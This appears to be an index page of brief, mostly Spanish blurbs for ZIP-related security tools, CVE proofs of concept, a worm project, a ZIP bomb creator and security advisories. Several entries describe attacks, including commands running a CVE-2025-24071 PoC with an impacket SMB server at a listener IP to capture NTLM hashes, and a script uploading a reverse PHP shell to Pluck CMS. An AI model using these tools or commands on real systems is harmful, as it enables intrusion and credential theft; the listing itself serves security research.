ZIPFileRaider

ZIP File Raider - Burp Extension for ZIP File Payload Testing ZIP File Raider is a Burp Suite extension for attacking web application with ZIP file upload functionality. You can easily inject Burp Scanner/Repeater payloads in ZIP content of the HTTP requests which is not feasible by default. This...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilidad de carga arbitraria de archivos en el componente /inc/modulesinstall.php de Pluck-CMS v4.7.18 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo ZIP manipulado. Esta es una vulnerabilidad autenticada. Descargo ...

Wormy

Wormy - El desafío En este repositorio escribiré algunas funciones en Python3 en mi tiempo libre para agregar "algunas características de propagación como gusanos" a cualquier backdoor en Python. Después de terminar, lo convertiré en un gusano real Lista de tareas pendientes: 1Propagación en...

spyre

Spyre ...a simple, self-contained modular host-based IOC scanner Spyre is a simple host-based IOC scanner built around the YARA pattern matching engine and other scan modules. The main goal of this project is easy operationalization of YARA rules and other indicators of compromise. Users need to...

zipbrk

zipbrk 2.2.0 Zip break is a tool to disect, modify, and reassemble zip files for a variety of tasks. It is designed to be cross-platform and as simple as possible to port between varied systems. It has been tested on Windows 9x/2k/XP, Windows Vista/7/8, Fedora 23/24/25/26/27, Kali, Debian 8/9,...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Nota: MICROSOFT HA RENOMBRADO CVE-2025-24071 COMO CVE-2025-24054 🤔 Resumen Esta vulnerabilidad de Windows, específicamente en 'explorer.exe', nos permite recibir un hash NetNTLMv2 de una víctima simplemente con que el atacante extraiga un archivo .zip. Uso...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2023-36025

CVE-2023-36025 Prueba simple para CVE-2023-36025, basada en el PoC mostrado en https://twitter.com/wdormann/status/1725148437115473947 Este código no está pensado para ejecutarse directamente: el archivo ZIP debe estar alojado en un servidor que tú controles y ser accesible desde la máquina vícti...

Zip-Cracker-

Zip Cracker This Script Supports Only Zip File in This Verson You Can Also Use This Script With crunch Cross-platform Supported Usage: zipcracker.py options root@kitploit: Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME,...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : El nombre de usuario o correo electrónico del Ghost CMS objetivo. --password : La contraseña del Ghost CMS objetivo. --url : La URL del Ghost CMS objetivo p. ej., http://website.com. 1. Inicio de sesión: El script se autentica con la API de administración...

zip_bomb

ZIP Bomb Creator ZIP Bomb Creator es una herramienta utilizada para crear un archivo ZIP de tamaño pequeño pero que se expande drásticamente al ser extraído. Esto es útil para experimentos de seguridad y para probar sistemas de archivos contra ataques de Bombas ZIP. Características Crea una Bomba...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 es una vulnerabilidad de ejecución remota de código RCE en Pluck CMS v4.7.18. Es posible gracias a una vulnerabilidad de carga arbitraria de archivos en el componente /inc/modulesinstall.php, que permite ejecutar código arbitrario subiendo un archivo .zip malicioso...

CVE-2023-50564

CVE-2023-50564 Solo con fines educativos. Este script abusa de CVE-2023-50564 para subir una shell reverse-php al servidor objetivo. Puedes usar una shell como esta. Solo comprime el archivo php y pasa el zip a este script. Ejemplo root@kitploit: python3 cve-2023-50564.py -u http://idonot.exist -...

CVE-2021-25094

CVE-2021-25094 Subida sin restricciones de archivos ZIP en addcustomfont del plugin Tatsu uso php p.php...

zip_smuggling

zipsmuggling Esta utilidad de Python crea archivos zip que contienen datos adicionales incrustados dentro de la estructura del archivo. Estos datos extra no son visibles/no se muestran cuando se examina o descomprime el zip, pero pueden recuperarse mediante powershell a través de un archivo de...

CVE-2016-5636

CVE-2016-5636 PoC para CVE-2016-5636, que es un desbordamiento de montón en Python 3.6. Este repositorio incluye: crash-with-zip : PoC de crash al leer un archivo zip no confiable google-web-engine : PoC de crash que funciona en google web engine spawn-shell : un exploit local para generar una sh...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2026-15310 zipfile: bzip2/LZMA/Zstandard members decompress without a max_length bound, defeating chunked-read memory limits

When decompressing crafted zip files using the bzip/LZMA/Zstandard compressions, Python could use an attacker-controlled size to pre-allocate memory, possibly resulting in memory exhaustion...

BIT-PYTHON-2026-3087 shutil.unpack_archive() doesn't check for Windows absolute paths in ZIPs

If shutil.unpackarchive is given a ZIP archive with an absolute Windows path containing a drive C:\... then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability...

[SECURITY] [DLA 4741-1] unzip security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4741-1 [email protected] https://www.debian.org/lts/security/ Andrej Shadura August 16, 2026 https://wiki.debian.org/LTS -...